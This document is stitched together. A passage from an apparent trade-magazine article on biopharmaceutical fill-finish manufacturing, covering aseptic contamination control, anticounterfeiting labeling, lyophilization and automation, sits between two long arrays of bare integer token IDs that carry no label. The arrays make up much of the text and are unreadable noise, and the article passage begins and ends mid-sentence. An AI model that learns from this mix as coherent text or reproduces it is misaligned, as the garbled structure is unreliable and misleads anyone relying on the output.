7665, 13, 42488, 21295, 13, 285, 355, 16752, 3229, 13, 347, 973, 15401, 14, 249, 14, 5070, 16, 16437, 14, 249, 14, 5070, 313, 52, 3123, 16, 36, 3123, 10, 28275, 323, 294, 34153, 6500, 15, 15023, 13225, 285, 28234, 476, 320, 1125, 15436, 9367, 15, 6676, 4413, 15338, 12478, 6031, 342, 13867, 2272, 15, 1680, 311, 1080, 4302, 556, 644, 1077, 9371, 347, 973, 15, 187, 187, 39965, 874, 11809, 19071, 4076, 12384, 281, 5100, 247, 339, 13683, 3672, 285, 13553, 273, 24077, 13, 2329, 6431, 13, 285, 3473, 1027, 8075, 281, 6558, 247, 4076, 3126, 15, 20672, 14, 15177, 4076, 3672, 313, 41832, 43394, 10, 943, 417, 320, 4845, 1735, 281, 1029, 14, 15177, 3672, 313, 12973, 43394, 481, 27900, 300, 3006, 15116, 4076, 253, 2329, 347, 973, 347, 1885, 26850, 1078, 7522, 285, 8416, 15, 1583, 403, 17618, 342, 5691, 5175, 326, 8687, 1566, 16711, 285, 36306, 15, 11263, 32113, 403, 2684, 970, 253, 1072, 1232, 347, 588, 320, 908, 275, 247, 1524, 1885, 4544, 13, 285, 253, 4795, 17671, 403, 16387, 323, 7871, 273, 20180, 3116, 15, 187, 187, 21784, 76, 3592, 2296, 13, 773, 3074, 11570, 14047, 281, 4901, 253, 247, 339, 13683, 5162, 2316, 1309, 10264, 943, 10078, 275, 247, 3420, 7522, 387, 1878, 2378, 247, 807, 13, 285, 616, 11497, 943, 4887, 253, 6070, 273, 616, 12803, 275, 3275, 1425, 187, 187, 11495, 272, 285, 743, 3028, 13914, 453, 2996, 187, 187, 510, 3819, 1411, 4828, 453, 2996, 8687, 4413, 2080, 4457, 19267, 84, 285, 1794, 4977, 36024, 15, 6676, 3580, 403, 4211, 281, 5061, 316, 808, 272, 11349, 347, 773, 42996, 668, 672, 597, 403, 13, 275, 958, 13, 773, 48459, 745, 84, 668, 390, 4828, 453, 953, 313, 883, 481, 1292, 253, 2854, 4828, 453, 2996, 4491, 37654, 4852, 347, 973, 347, 16256, 15, 380, 19267, 4491, 347, 247, 2644, 556, 644, 6684, 5657, 281, 11757, 2854, 4828, 453, 2996, 15, 6676, 273, 441, 452, 3735, 38123, 8553, 273, 8888, 14, 2621, 6742, 273, 13583, 1885, 6299, 1905, 285, 1014, 15535, 6281, 273, 4828, 44684, 3580, 2403, 616, 1039, 715, 14905, 11214, 447, 15, 38078, 253, 5054, 4322, 22691, 407, 4828, 453, 2996, 310, 253, 21779, 273, 1029, 14, 2877, 1794, 4977, 36024, 2429, 342, 1110, 273, 773, 37347, 668, 19267, 84, 15, 6943, 862, 982, 403, 2761, 1900, 13945, 1349, 445, 45473, 24411, 4948, 323, 534, 247, 2014, 6178, 476, 2105, 2239, 3016, 5, 18, 13, 933, 13, 285, 690, 403, 1014, 625, 8214, 15, 3035, 67, 1661, 1162, 266, 254, 916, 8829, 13, 323, 1650, 313, 8096, 1541, 16, 48680, 6081, 582, 17324, 2105, 12667, 3016, 5, 18, 13, 5388, 16, 7791, 275, 4748, 313, 805, 582, 285, 399, 423, 31997, 457, 84, 4102, 7012, 1294, 1261, 463, 44050, 323, 3563, 14, 13311, 14527, 2923, 310, 7561, 2361, 387, 2239, 5, 2270, 13, 933, 323, 247, 581, 14, 7791, 13, 4471, 47357, 24020, 15, 1893, 627, 310, 10665, 11528, 281, 320, 1160, 949, 6424, 2097, 1905, 285, 3103, 10665, 2495, 2330, 342, 417, 15233, 824, 3580, 1411, 4828, 453, 2996, 187, 187, 510, 26253, 1520, 13126, 24527, 272, 313, 52, 3859, 10, 3389, 310, 247, 1616, 14, 484, 2629, 7012, 407, 4775, 15557, 20400, 313, 2700, 15, 12408, 24, 15, 2061, 582, 253, 4156, 6265, 327, 7465, 323, 734, 2211, 1430, 273, 1786, 1491, 4302, 13, 342, 2758, 432, 625, 685, 7288, 4343, 15, 831, 2629, 369, 8671, 407, 253, 21172, 347, 247, 5122, 323, 46108, 1885, 1491, 313, 1012, 481, 380, 6757, 556, 4232, 697, 1211, 18952, 14, 1615, 14, 13996, 5376, 6477, 323, 42473, 26253, 1520, 13126, 24527, 272, 313, 52, 3859, 10, 23895, 323, 16686, 35211, 8922, 39927, 285, 16686, 5552, 272, 15, 2064, 3389, 41714, 562, 4803, 323, 14631, 47968, 313, 43786, 2534, 14, 3211, 10, 21473, 13, 534, 310, 4451, 417, 760, 281, 1016, 2854, 1511, 13, 533, 671, 281, 1016, 14604, 285, 1016, 2060, 362, 451, 390, 40674, 15, 6295, 4491, 285, 253, 6757, 3524, 824, 6031, 588, 1056, 352, 2834, 281, 7479, 323, 6424, 32447, 281, 5580, 4828, 44684, 14888, 494, 5835, 15, 187, 187, 510, 1982, 21172, 3054, 3909, 313, 805, 2262, 773, 27077, 44684, 9921, 15, 10712, 778, 320, 25493, 390, 3831, 253, 3430, 390, 642, 3939, 24405, 15, 10712, 812, 452, 253, 987, 3939, 24405, 533, 387, 253, 3430, 6178, 1425, 380, 6757, 3936, 512, 5012, 273, 9101, 4828, 453, 953, 10369, 15, 1916, 11757, 436, 6617, 13, 253, 21172, 310, 2444, 342, 643, 2208, 11009, 347, 973, 347, 2758, 273, 253, 3055, 8776, 281, 1361, 4017, 253, 1982, 2854, 6186, 432, 253, 4322, 273, 4828, 453, 953, 15, 496, 4748, 13, 352, 6808, 247, 7482, 12925, 323, 4491, 327, 2854, 37935, 13914, 453, 2996, 1905, 2167, 326, 16633, 12718, 327, 32939, 11966, 4891, 24411, 4948, 15, 733, 5936, 13, 2190, 643, 1841, 13, 773, 2327, 273, 275, 661, 13, 8393, 942, 13, 26791, 13, 285, 643, 3520, 14, 20465, 47811, 313, 5077, 31724, 10, 407, 16596, 281, 1056, 2854, 3580, 625, 2834, 281, 21036, 407, 4828, 44684, 398, 13, 285, 281, 1056, 352, 6927, 281, 4271, 253, 13241, 2715, 273, 253, 2854, 668, 313, 1012, 481, 187, 187, 1989, 752, 670, 7534, 84, 1905, 3580, 326, 1053, 457, 85, 12666, 347, 33048, 16745, 390, 18010, 23368, 390, 8043, 2149, 7946, 26850, 32, 6943, 2689, 1513, 13428, 4413, 1364, 2770, 327, 26441, 21473, 285, 15371, 1838, 10296, 15, 6676, 2579, 11967, 2714, 907, 275, 6153, 21473, 2718, 323, 1349, 445, 45473, 3580, 313, 2887, 253, 773, 11495, 272, 668, 3817, 481, 1244, 3533, 403, 2168, 1146, 2546, 670, 849, 5368, 21473, 6095, 588, 320, 3732, 281, 39809, 15666, 303, 1858, 3580, 15, 187, 187, 40531, 318, 187, 187, 3463, 4499, 342, 2014, 14, 2327, 4302, 13, 7522, 1253, 43020, 369, 271, 2393, 10264, 1232, 281, 2489, 16644, 15, 773, 10342, 273, 253, 2718, 359, 1973, 3063, 2430, 8723, 1966, 5016, 1309, 253, 12868, 1232, 1806, 18624, 348, 457, 84, 11418, 2183, 441, 13, 773, 3113, 253, 6517, 273, 10935, 9305, 4753, 13, 2718, 1818, 1189, 13, 285, 12478, 1425, 20577, 353, 505, 257, 30735, 273, 473, 601, 6943, 2689, 1513, 33367, 753, 326, 773, 1826, 32771, 281, 7522, 1253, 8416, 6500, 452, 16323, 275, 247, 4872, 285, 13439, 5133, 1425, 1457, 6742, 3082, 1905, 824, 347, 638, 14653, 726, 45324, 2581, 685, 362, 8075, 390, 32263, 2651, 432, 534, 726, 45324, 403, 6898, 275, 247, 3382, 4758, 1905, 452, 2436, 15281, 1643, 2544, 275, 12868, 5871, 313, 2887, 253, 773, 7420, 187, 14653, 5619, 45324, 668, 3817, 481, 187, 187, 14364, 6766, 2293, 1703, 322, 18352, 2637, 1410, 27, 9707, 427, 9465, 3915, 13801, 275, 418, 58, 2795, 41, 3077, 18769, 6570, 187, 187, 27524, 15019, 1320, 1905, 21090, 14, 69, 11729, 1905, 310, 12912, 323, 3580, 342, 7882, 3237, 390, 672, 5277, 271, 3242, 24411, 310, 11132, 313, 70, 15, 72, 904, 1077, 1355, 285, 4122, 16761, 12768, 390, 1110, 323, 534, 7880, 12320, 310, 12232, 582, 347, 973, 347, 323, 15991, 326, 403, 7996, 281, 4250, 13, 25672, 13, 285, 16, 263, 7768, 15, 436, 310, 247, 1264, 14, 10539, 1232, 27, 24250, 313, 66, 1885, 13831, 275, 697, 2457, 8781, 347, 1698, 347, 1108, 1549, 11758, 36, 582, 3625, 24396, 313, 5302, 247, 12124, 13, 1824, 285, 16, 263, 7425, 44385, 403, 10375, 432, 253, 15895, 582, 285, 2457, 24396, 13, 534, 11330, 247, 26665, 13, 6474, 13, 285, 6079, 773, 43926, 1425, 436, 476, 1379, 767, 2120, 1897, 7293, 327, 253, 8508, 285, 2854, 14, 7555, 6106, 985, 3206, 15, 187, 187, 31137, 18509, 285, 1029, 14, 26158, 24396, 3082, 13, 12865, 15019, 1320, 24696, 2854, 3580, 432, 1850, 40190, 4269, 407, 4250, 984, 597, 3464, 13831, 4768, 253, 1232, 15, 2726, 1463, 5718, 13, 253, 22826, 1495, 273, 247, 21090, 14, 49461, 1885, 476, 320, 1264, 1107, 1905, 2581, 685, 247, 1643, 1897, 323, 253, 1072, 2854, 275, 5558, 830, 15, 187, 187, 7130, 281, 657, 46467, 1777, 21401, 5625, 38230, 13, 247, 3332, 29770, 41394, 1304, 313, 18948, 4267, 10, 5998, 326, 2716, 273, 253, 14888, 494, 5835, 7012, 689, 253, 1735, 2620, 1107, 588, 2430, 12865, 15019, 1320, 15, 657, 46467, 457, 84, 15040, 3797, 12865, 15019, 1320, 285, 2570, 7534, 7006, 13, 1907, 13207, 21090, 14, 69, 11729, 824, 3580, 275, 13402, 15, 380, 2567, 556, 4102, 5611, 8746, 14, 348, 7272, 4302, 949, 697, 418, 11904, 14, 43, 646, 40674, 285, 657, 14, 45, 44, 28719, 8746, 14, 348, 7272, 2718, 15, 12829, 15019, 1025, 2854, 31951, 275, 581, 9320, 28, 7425, 25568, 275, 253, 643, 15, 367, 7849, 253, 40674, 499, 44078, 47603, 1110, 342, 581, 9980, 15, 329, 2854, 326, 310, 4390, 32487, 275, 362, 8075, 778, 320, 9495, 281, 824, 247, 985, 13, 323, 1650, 281, 1056, 352, 625, 2608, 14, 19771, 347, 629, 273, 247, 5243, 34356, 4323, 2098, 15, 436, 778, 16753, 247, 2900, 323, 690, 8434, 1080, 3580, 10268, 15666, 303, 1858, 7324, 15, 187, 187, 1628, 14067, 690, 2544, 281, 990, 3580, 8549, 281, 11349, 13, 253, 4588, 12868, 1232, 4558, 4942, 19965, 1806, 11418, 2879, 15, 773, 510, 1643, 41655, 326, 452, 644, 3058, 281, 1408, 4460, 5482, 452, 644, 10085, 456, 4942, 4354, 15, 32774, 8746, 14, 348, 7272, 49599, 310, 581, 1650, 15, 831, 1511, 273, 2813, 4428, 767, 4858, 3580, 275, 581, 28719, 13, 824, 347, 767, 4858, 32819, 390, 247, 5558, 285, 247, 12865, 15019, 1025, 1885, 1425, 187, 187, 1231, 2546, 43230, 1880, 344, 11121, 15688, 982, 285, 643, 29885, 588, 8171, 1966, 9158, 15, 1737, 3470, 588, 3464, 275, 1966, 3564, 323, 253, 673, 1146, 13, 285, 752, 3733, 3374, 452, 45764, 281, 2525, 1110, 3198, 32, 773, 40531, 318, 310, 10112, 1806, 344, 10017, 15, 773, 42317, 595, 13, 12165, 285, 10166, 9158, 943, 1453, 347, 973, 347, 5724, 16644, 6500, 5871, 1905, 347, 973, 347, 3997, 285, 5386, 4295, 432, 253, 1386, 16, 2655, 5805, 15, 24689, 456, 6500, 588, 2430, 247, 2169, 1268, 273, 4685, 285, 5956, 1268, 342, 271, 5673, 685, 8651, 13, 3564, 14, 251, 23927, 1425, 187, 187, 1992, 253, 1072, 1953, 13, 353, 505, 257, 30735, 20503, 13, 773, 40531, 318, 556, 574, 247, 2201, 1055, 275, 8493, 253, 1180, 273, 1966, 9158, 689, 253, 2469, 1884, 1107, 15, 329, 7522, 1253, 43020, 1386, 12422, 247, 12865, 15019, 6081, 778, 452, 574, 4314, 281, 884, 1966, 9158, 1884, 1107, 3622, 15, 1457, 254, 6500, 326, 3936, 5750, 273, 4980, 16424, 275, 4302, 778, 897, 760, 767, 390, 1264, 1966, 9158, 15, 3808, 28648, 3104, 897, 760, 581, 1966, 5572, 15, 1723, 13, 347, 1175, 347, 4980, 29885, 310, 13, 627, 588, 4035, 281, 320, 253, 878, 323, 1966, 7268, 342, 1675, 281, 1895, 6064, 285, 9363, 273, 253, 6500, 1425, 187, 187, 1231, 671, 2546, 752, 747, 3374, 403, 14475, 347, 13, 323, 1650, 13, 15688, 982, 403, 908, 281, 773, 4534, 1230, 668, 16030, 2457, 3580, 15, 43230, 10974, 27, 773, 2302, 1953, 326, 16644, 15981, 3400, 247, 625, 10237, 285, 5185, 15981, 323, 512, 2854, 1885, 7071, 6866, 15, 309, 651, 1902, 326, 347, 8781, 15029, 285, 4753, 23554, 432, 5899, 5253, 13, 10885, 6297 ]

is to get contaminated. Standards for particulate contamination were initially developed by NASA for lunar exploration and later adopted by the pharmaceutical and semiconductor industries. In addition to gowning and other procedures used to lessen the potential for workers to introduce contamination, environmental monitoring is regularly performed. Typical tests involve contact plates and swabs, and particle counters are useful instruments. Trending data helps companies evaluate disinfection efficiencies and determine whether certain microbes are migrating into their aseptic processing areas. Metabolic-based assays (such as from vendors Biolog and Vitek) and genotypic assays (e.g., MicroSeq from Applied Biosystems) help identify contaminating microbes. The Limulus amebocyte lysate (LAL) assay is used for endotoxin testing — and the FDA has published a guidance on its use. Air, floors, walls, and equipment surfaces are tested and regularly cleaned. Disinfectants used to clean potentially contaminated surfaces include alcohol, chlorine dioxide, and aldehydes, as well steam-in-place/clean-in-place (SIP/CIP) utilities for reusable equipment. Small instruments and accessories can be autoclaved. Many companies minimize cleaning efforts with disposables. Isolator technology has been very helpful as well. Facility designs incorporate cleanrooms to establish aseptic areas and combinations of filtration, air exchange, and pressure differentials to maintain a clean environment. Lower-quality clean areas (higher classifications) should not be placed next to high-quality areas (lower classifications). Sterilizing filters clean the air as well as product formulations before fill and finish. They are validated with challenge testing that involves model organisms and contaminants. Media fills are performed using the same process as will be used in a real product campaign, and the resulting containers are monitored for signs of microbial growth. Burkett says, “All personnel authorized to enter the aseptic processing room during manufacturing should participate in a media fill at least once a year, and their participation should reflect the extent of their duties in production.” Labeling and Anticounterfeiting The fight against counterfeiting involves companies far beyond pharmaceuticals and biotherapeutics. Many products are sold to unsuspecting consumers as “authentic” when they are, in fact, “knock offs” or counterfeits (11). But the drug counterfeiting industry threatens lives as well as profits. The pharmaceutical industry as a whole has been developing tools to combat drug counterfeiting. Many of us have heard frightening accounts of mail-order delivery of incorrect product concentrations — and even horror stories of counterfeit products making their way into legitimate pharmacies. Increasing the economic threat posed by counterfeiting is the attraction of high-value biotherapeutics compared with those of “classical” pharmaceuticals. Biologics are almost always injected parenteral dosage forms for which a single dose can cost >US$1,000, and some are even more expensive. Enbrel etanercept injection, for example (Amgen/Pfizer), reportedly cost ≥US$1,500/month in 2009 (12), and Dendreon’s recently approved Provenge immunotherapy for late-stage prostate cancer is widely reported at >$90,000 for a one-month, multiinjection regimen. So there is considerable profit to be made through criminal means — and therefore considerable risk associated with not protecting such products against counterfeiting The Structured Product Labeling (SPL) document is a mark-up standard approved by Health Level Seven (www.hl7.org), the global authority on standards for interoperability of health information technology, with members from more than 55 countries. This standard was adopted by the FDA as a mechanism for exchanging product information (13). The agency has established its own Step-by-Step Instructions for Creating Structured Product Labeling (SPL) Files for Drug Establishment Registration and Drug Listing. That document lays out rules for establishing computerized (generally bar-code) labeling, which is unique not only to each drug type, but also to each batch and each individual vial or syringe. Both industry and the agency hope such efforts will make it difficult to impossible for criminal enterprises to sell counterfeit injectable drugs. The US FDA states online (12): “Counterfeit medicine... may be contaminated or contain the wrong or no active ingredient... could have the right active ingredient but at the wrong dose.” The agency takes all reports of suspect counterfeits seriously. To combat this crime, the FDA is working with other government agencies as well as members of the private sector to help protect the US drug supply from the threat of counterfeits. In 2009, it issued a draft guidance for industry on drug anticounterfeiting — though that focuses solely on orally administered solid dosage forms. It suggests, among other things, “use of inks, pigments, flavors, and other physical-chemical identifiers (PCIDs) by manufacturers to make drug products more difficult to duplicate by counterfeiters, and to make it easier to identify the genuine version of the drug” (13). But what about biologicals — products that don’t arrive as distinctly shaped or colored tablets or flavored oral formulations? Biopharmaceutical companies must focus on advancing labeling and RFID technologies. Many service providers specialize in creating labeling systems for parenteral products (see the “Labeling” box). And questions are already being asked about how existing labeling requirements will be applied to marketed biosimilar products. Automation By contrast with single-use technology, fill–finish was an early manufacturing process to become automated. “Most of the systems we build today require minimal human interaction during the filling process,” Bosch’s Miller told us, “with the exception of loading raw materials, systems changeover, and cleaning.” Craig Mastenbaum of Oso Biopharmaceuticals said that “new innovations to fill– finish equipment have evolved in a linear and progressive manner.” New delivery methods — such as prefilled syringes rather than vials or ampules from which syringes are filled in a clinical setting — have necessitated few changes in filling operations (see the “Pre filled Syringes” box). PREFILLED SYRINGES:THE NEXT STEP in LYOPHILIZATION Lyophilization — freeze-drying — is beneficial for products with stability problems or when providing an exact dosage is challenging (e.g., very small and highly concentrated doses or those for which absolute precision is vital), as well as for substances that are sensitive to heat, humidity, and/or oxygen. this is a three-step process: freezing (a product frozen in its final container as low as –60 °C), primary drying (using a vacuum, water and/or diluents are extracted from the formulation), and final drying, which produces a porous, stable, and dry “cake.” this can take two full days depending on the compound and drug-delivery system involved. Unlike ambient and high-temperature drying methods, lyophilization protects drug products from denaturation caused by heat because they remain frozen throughout the process. With proper storage, the shelf life of a freeze-dried product can be three years — rather than a few days for the same drug in liquid form. According to Vetter Pharma International GmbH, a recent Visiongain report (June 2010) estimated that half of the injectable drugs approved over the next five years will require lyophilization. Vetter’s expertise includes lyophilization and complex biological compounds, having begun freeze-drying such products in 1981. The company has recently introduced dual-chamber technology through its Lyo-Ject syringe and V-LK cartridge dual-chamber systems. Lyophilized drug resides in one chamber; diluent in the other. Pushing the syringe plunger mixes those with one stroke. A drug that is currently packaged in vials may be transferred to such a system, for example to make it more user-friendly as part of a lifecycle management plan. this may pose a solution for some innovator products facing biosimilar competition. “Despite some changes to end products delivered to consumers, the actual filling process remains relatively unchanged,” Miller added. “The few adaptations that have been needed to run novel solutions have been accommodated relatively easily. Processing dual-chamber cartridges is one example. This type of device contains two separate products in one cartridge, such as two separate liquids or a liquid and a lyophilized product.” We asked Hawkins whether he thinks robotics and other automation will replace human operators. What functions will remain in human hands for the time being, and what training issues have arisen to meet those needs? “Automation is welcome,” he replied. “Ideally, qualified and trained operators should control as well as monitor automated equipment operations — as well as feed and remove components from the line/equipment. Automated equipment will require a higher level of understanding and comfort level with an interface than mechanical, hands-on adjustments.” To the same question, Mastenbaum commented, “Automation has had a major effect in reducing the number of human operators over the past 30 years. A fill–finish line feeding a lyophilizer may have had eight to 10 human operators 30 years ago. Newer equipment that takes advantage of modern advances in technology may use only two or three human operators. Some specialty lines use only one human operator. However, as good as modern automation is, there will continue to be the need for human intervention with respect to problem resolution and maintenance of the equipment.” We also asked what new issues are arising as, for example, robotics are used to “visually” inspect final products. Hawkins responded: “No question that automated inspection provides a more robust and consistent inspection for all drug product defect criteria. I would expect that as container shapes and materials evolve from traditional glass, handling mechanisms

[ 1537, 320, 247, 289, 1575, 28909, 533, 752, 434, 247, 1643, 7362, 32358, 598, 1735, 281, 2471, 865, 187, 187, 42, 574, 281, 9012, 15, 41583, 4266, 949, 17218, 893, 434, 2927, 3534, 479, 3524, 562, 627, 275, 253, 2991, 15, 309, 5476, 309, 369, 13476, 2429, 281, 512, 1110, 309, 1871, 1929, 665, 1871, 4962, 273, 2728, 13, 5654, 11860, 19952, 13, 50117, 7695, 13, 285, 7665, 33254, 15, 8948, 309, 858, 452, 247, 13476, 4177, 15, 18025, 1128, 2858, 13476, 1335, 285, 512, 15, 187, 187, 3, 2347, 434, 326, 5006, 7993, 865, 309, 2546, 15, 187, 187, 23852, 11537, 531, 369, 247, 3168, 637, 5207, 309, 1871, 9809, 432, 253, 48869, 37, 672, 597, 3058, 281, 9176, 247, 7701, 327, 11853, 521, 3295, 15, 3032, 760, 6617, 369, 326, 344, 7636, 247, 2806, 3416, 15, 2064, 2389, 574, 5339, 617, 15, 1244, 672, 352, 369, 512, 689, 7993, 574, 247, 19501, 285, 17218, 893, 2335, 779, 275, 15, 187, 187, 3, 1328, 701, 15559, 937, 703, 753, 13, 253, 10711, 273, 247, 23805, 1335, 327, 617, 11233, 15, 346, 42, 1694, 779, 14121, 249, 8, 562, 327, 253, 896, 28392, 15, 754, 513, 253, 6738, 377, 249, 8, 271, 8, 667, 8909, 7375, 309, 1537, 878, 449, 187, 187, 3, 1145, 8, 27319, 2506, 626, 2564, 865, 187, 187, 3, 47, 1403, 15, 380, 806, 1388, 309, 3982, 779, 1728, 344, 1925, 29936, 2305, 15, 13651, 15, 1422, 871, 10734, 1900, 644, 247, 402, 13692, 323, 247, 3168, 5006, 342, 34323, 449, 187, 187, 1231, 1097, 12918, 15, 187, 187, 24858, 893, 4925, 715, 617, 29725, 285, 7320, 562, 253, 48910, 254, 326, 574, 644, 762, 253, 7319, 273, 619, 12673, 15, 1500, 1691, 352, 327, 253, 8597, 15, 187, 187, 3, 18204, 80, 1694, 634, 1113, 562, 253, 21059, 15, 754, 1669, 521, 29880, 14427, 24805, 562, 896, 449, 1500, 3982, 562, 247, 9711, 2234, 285, 4845, 352, 1735, 281, 253, 25288, 15, 346, 1328, 753, 326, 344, 1833, 452, 634, 12673, 4704, 275, 767, 3618, 449, 187, 187, 42, 574, 3858, 275, 253, 1533, 15, 1198, 247, 2774, 627, 309, 574, 625, 685, 271, 12296, 1981, 326, 1841, 651, 1614, 562, 8261, 15, 187, 187, 24858, 893, 6225, 598, 15, 187, 187, 3, 4013, 10902, 937, 703, 753, 15, 346, 4943, 449, 187, 187, 2993, 4925, 715, 617, 29725, 285, 2210, 562, 342, 247, 4533, 273, 6818, 14, 35523, 14874, 15, 187, 187, 3, 23262, 9456, 2183, 479, 281, 1918, 368, 436, 449, 187, 187, 42, 2335, 253, 2583, 1014, 2167, 309, 3260, 344, 1871, 923, 352, 347, 247, 1066, 7830, 327, 253, 344, 382, 344, 3078, 479, 281, 6604, 779, 275, 15, 187, 187, 9707, 686, 3208, 367, 1139, 15293, 1934, 4653, 44293, 1669, 323, 479, 369, 12649, 66, 14, 30842, 342, 2502, 26126, 16264, 1066, 253, 15828, 434, 1930, 285, 2439, 253, 21613, 15, 733, 3589, 626, 253, 2238, 273, 1113, 309, 812, 12195, 342, 533, 387, 1878, 352, 574, 17727, 15, 187, 187, 52, 2835, 24922, 275, 253, 15828, 434, 7319, 369, 253, 28263, 6421, 8800, 309, 1871, 8686, 275, 5003, 10765, 15, 733, 574, 644, 14454, 275, 776, 16949, 281, 253, 13952, 15, 14140, 80, 1364, 452, 1119, 352, 2112, 342, 253, 25288, 15, 187, 187, 3039, 309, 1694, 1728, 627, 369, 247, 3877, 432, 378, 10614, 327, 253, 8576, 2829, 15, 1500, 285, 7670, 497, 1469, 281, 17684, 1758, 8451, 323, 767, 1897, 15, 1583, 497, 1469, 281, 2986, 327, 253, 11600, 533, 627, 369, 247, 1180, 323, 253, 37050, 526, 2237, 273, 253, 17463, 835, 597, 497, 14596, 15, 309, 812, 1067, 779, 604, 627, 369, 271, 8945, 15, 187, 187, 42, 921, 2122, 285, 439, 9367, 13, 439, 967, 619, 12682, 13, 285, 1160, 247, 3199, 273, 36369, 11624, 285, 49441, 285, 276, 4002, 618, 316, 1131, 15, 2732, 9123, 285, 247, 1175, 28990, 12188, 309, 3543, 4704, 281, 1611, 281, 1089, 667, 11693, 326, 330, 27992, 330, 1662, 408, 1537, 452, 1669, 15, 309, 14186, 275, 2806, 1499, 7305, 285, 247, 759, 607, 14, 30842, 43326, 14133, 285, 2206, 1066, 281, 253, 4481, 15, 187, 187, 3, 1922, 2293, 48, 865, 1500, 9577, 253, 4481, 846, 1264, 14445, 15, 187, 187, 3, 2422, 6156, 865, 309, 753, 15, 187, 187, 3, 4013, 449, 1707, 369, 247, 4864, 19309, 15, 187, 187, 42, 3260, 752, 617, 39500, 5486, 15, 309, 574, 9809, 617, 3347, 432, 1146, 5339, 275, 247, 3513, 6861, 2345, 247, 1643, 1107, 1078, 15, 2058, 326, 673, 703, 574, 644, 7028, 281, 2516, 13, 581, 273, 619, 17172, 285, 8642, 3858, 15, 187, 187, 688, 1340, 281, 5321, 378, 2040, 314, 309, 1871, 574, 281, 5310, 779, 275, 253, 1791, 15, 380, 11576, 753, 326, 344, 1871, 452, 326, 46169, 323, 253, 1551, 273, 521, 1495, 15, 187, 187, 3, 12092, 13, 2305, 15, 19263, 77, 968, 449, 309, 1871, 1677, 598, 2970, 617, 281, 1067, 479, 28127, 15, 187, 187, 3, 42, 878, 281, 3984, 281, 418, 6736, 5602, 267, 2131, 15, 1500, 434, 247, 3331, 273, 13298, 3548, 626, 703, 865, 187, 187, 7673, 10837, 327, 253, 1386, 15, 1244, 840, 27, 346, 42, 1053, 626, 3798, 1918, 562, 619, 3858, 8, 3904, 1293, 616, 9214, 13, 2305, 15, 19263, 77, 968, 449, 187, 187, 3, 42, 878, 617, 2953, 13, 1219, 6156, 15, 831, 310, 4092, 449, 187, 187, 1231, 1097, 3260, 326, 703, 4571, 626, 16410, 479, 15, 4058, 5006, 574, 16139, 281, 46671, 275, 253, 5101, 984, 273, 479, 15, 187, 187, 2993, 7492, 1314, 285, 419, 7184, 247, 1643, 2909, 625, 533, 840, 2210, 2439, 342, 253, 2953, 15, 187, 187, 3, 8061, 937, 309, 753, 672, 703, 4720, 774, 8006, 15, 346, 27128, 14260, 281, 378, 2040, 314, 323, 479, 449, 187, 187, 2993, 10416, 598, 253, 4481, 275, 619, 2472, 15, 187, 187, 42, 369, 1469, 2584, 619, 5791, 418, 15, 34, 15, 3511, 12591, 672, 253, 1735, 14, 11806, 6346, 13, 23662, 928, 26386, 2205, 13, 46156, 479, 15, 187, 187, 3, 7710, 15, 19263, 77, 968, 449, 187, 187, 1328, 369, 247, 2159, 3168, 637, 342, 247, 1721, 8382, 314, 285, 642, 6616, 24612, 15, 3032, 37559, 4707, 574, 4934, 697, 3295, 533, 369, 6906, 920, 816, 253, 1072, 15, 23662, 928, 369, 253, 13372, 7205, 273, 253, 6022, 273, 5226, 983, 275, 12126, 34781, 15, 733, 369, 247, 1355, 1899, 387, 247, 19734, 11047, 4832, 8848, 533, 26386, 2205, 3047, 2994, 347, 247, 27405, 273, 15065, 15, 754, 369, 247, 12773, 285, 275, 521, 1236, 2510, 339, 344, 4127, 479, 347, 271, 4503, 15, 309, 1353, 2119, 344, 1308, 37522, 281, 521, 4475, 285, 2151, 670, 849, 9386, 344, 369, 281, 1908, 247, 44118, 2081, 2190, 521, 3858, 15, 187, 187, 3, 4553, 8396, 13, 23662, 928, 937, 309, 753, 15, 187, 187, 3, 2512, 369, 247, 5599, 1060, 7004, 323, 368, 247, 1643, 3038, 3622, 15, 754, 369, 24851, 2819, 449, 187, 187, 3, 15383, 5599, 865, 187, 187, 3, 2302, 15, 5219, 15, 754, 14782, 247, 18553, 1160, 562, 273, 37094, 5914, 309, 1158, 15, 1244, 521, 2927, 964, 964, 964, 309, 1053, 626, 871, 15, 1583, 3261, 1599, 449, 187, 187, 3, 1276, 858, 344, 1333, 865, 187, 187, 3, 6300, 604, 309, 3260, 672, 368, 497, 3551, 896, 15, 309, 2546, 779, 604, 344, 574, 247, 3935, 15, 754, 1904, 626, 1014, 3662, 15, 3771, 7428, 745, 751, 309, 3589, 626, 1014, 627, 449, 187, 187, 49, 335, 2205, 369, 9202, 273, 247, 1113, 896, 71, 4261, 15, 754, 2378, 2183, 479, 326, 344, 4571, 626, 3698, 10439, 84, 984, 253, 7217, 3534, 779, 2360, 44672, 15, 8452, 972, 16060, 779, 1537, 452, 644, 271, 6503, 5570, 390, 247, 3369, 14, 936, 14, 11806, 6224, 1342, 15, 187, 187, 42, 369, 2668, 407, 521, 3000, 13, 2167, 13, 795, 9817, 309, 3589, 626, 1014, 627, 3333, 26386, 2205, 369, 247, 747, 6346, 15, 754, 1871, 760, 644, 275, 326, 2419, 323, 247, 807, 390, 594, 15, 309, 1871, 644, 627, 625, 685, 2800, 1107, 1128, 12569, 1070, 407, 418, 15, 34, 15, 7465, 15, 1292, 309, 369, 1335, 247, 7163, 324, 984, 11648, 1475, 479, 369, 1900, 4886, 275, 390, 4886, 562, 15, 4952, 604, 309, 11791, 275, 253, 1072, 1659, 619, 9168, 369, 1900, 6890, 15, 187, 187, 3, 8061, 937, 309, 753, 15, 346, 42, 1833, 1007, 562, 323, 779, 449, 187, 187, 1231, 11898, 3564, 285, 309, 12668, 745, 13, 4680, 326, 2717, 275, 253, 6420, 1373, 2455, 11791, 253, 1072, 15, 187, 187, 3220, 806, 12095, 369, 253, 28481, 1106, 1066, 327, 367, 4173, 15, 309, 1694, 3216, 3790, 13, 23914, 448, 2695, 13, 34376, 434, 6728, 13, 1795, 43363, 13, 7318, 49438, 12973, 13, 247, 1481, 273, 43170, 13, 767, 20321, 273, 8463, 13, 285, 22855, 264, 24806, 275, 34208, 15, 2635, 309, 6331, 387, 253, 26375, 4657, 285, 8686, 247, 10720, 273, 2516, 10633, 16156, 5418, 15, 187, 187, 4553, 12701, 309, 12668, 896, 1066, 281, 3684, 418, 15, 34, 15, 187, 187, 45, 6736, 5602, 267, 2131, 6940, 275, 247, 16076, 14863, 3578, 1003, 2419, 1264, 8336, 745, 11826, 2211, 15, 309, 21863, 253, 16303, 285, 19336, 327, 617, 3369, 15, 187, 187, 3, 7883, 310, 352, 865, 247, 7353, 4318, 298, 2575, 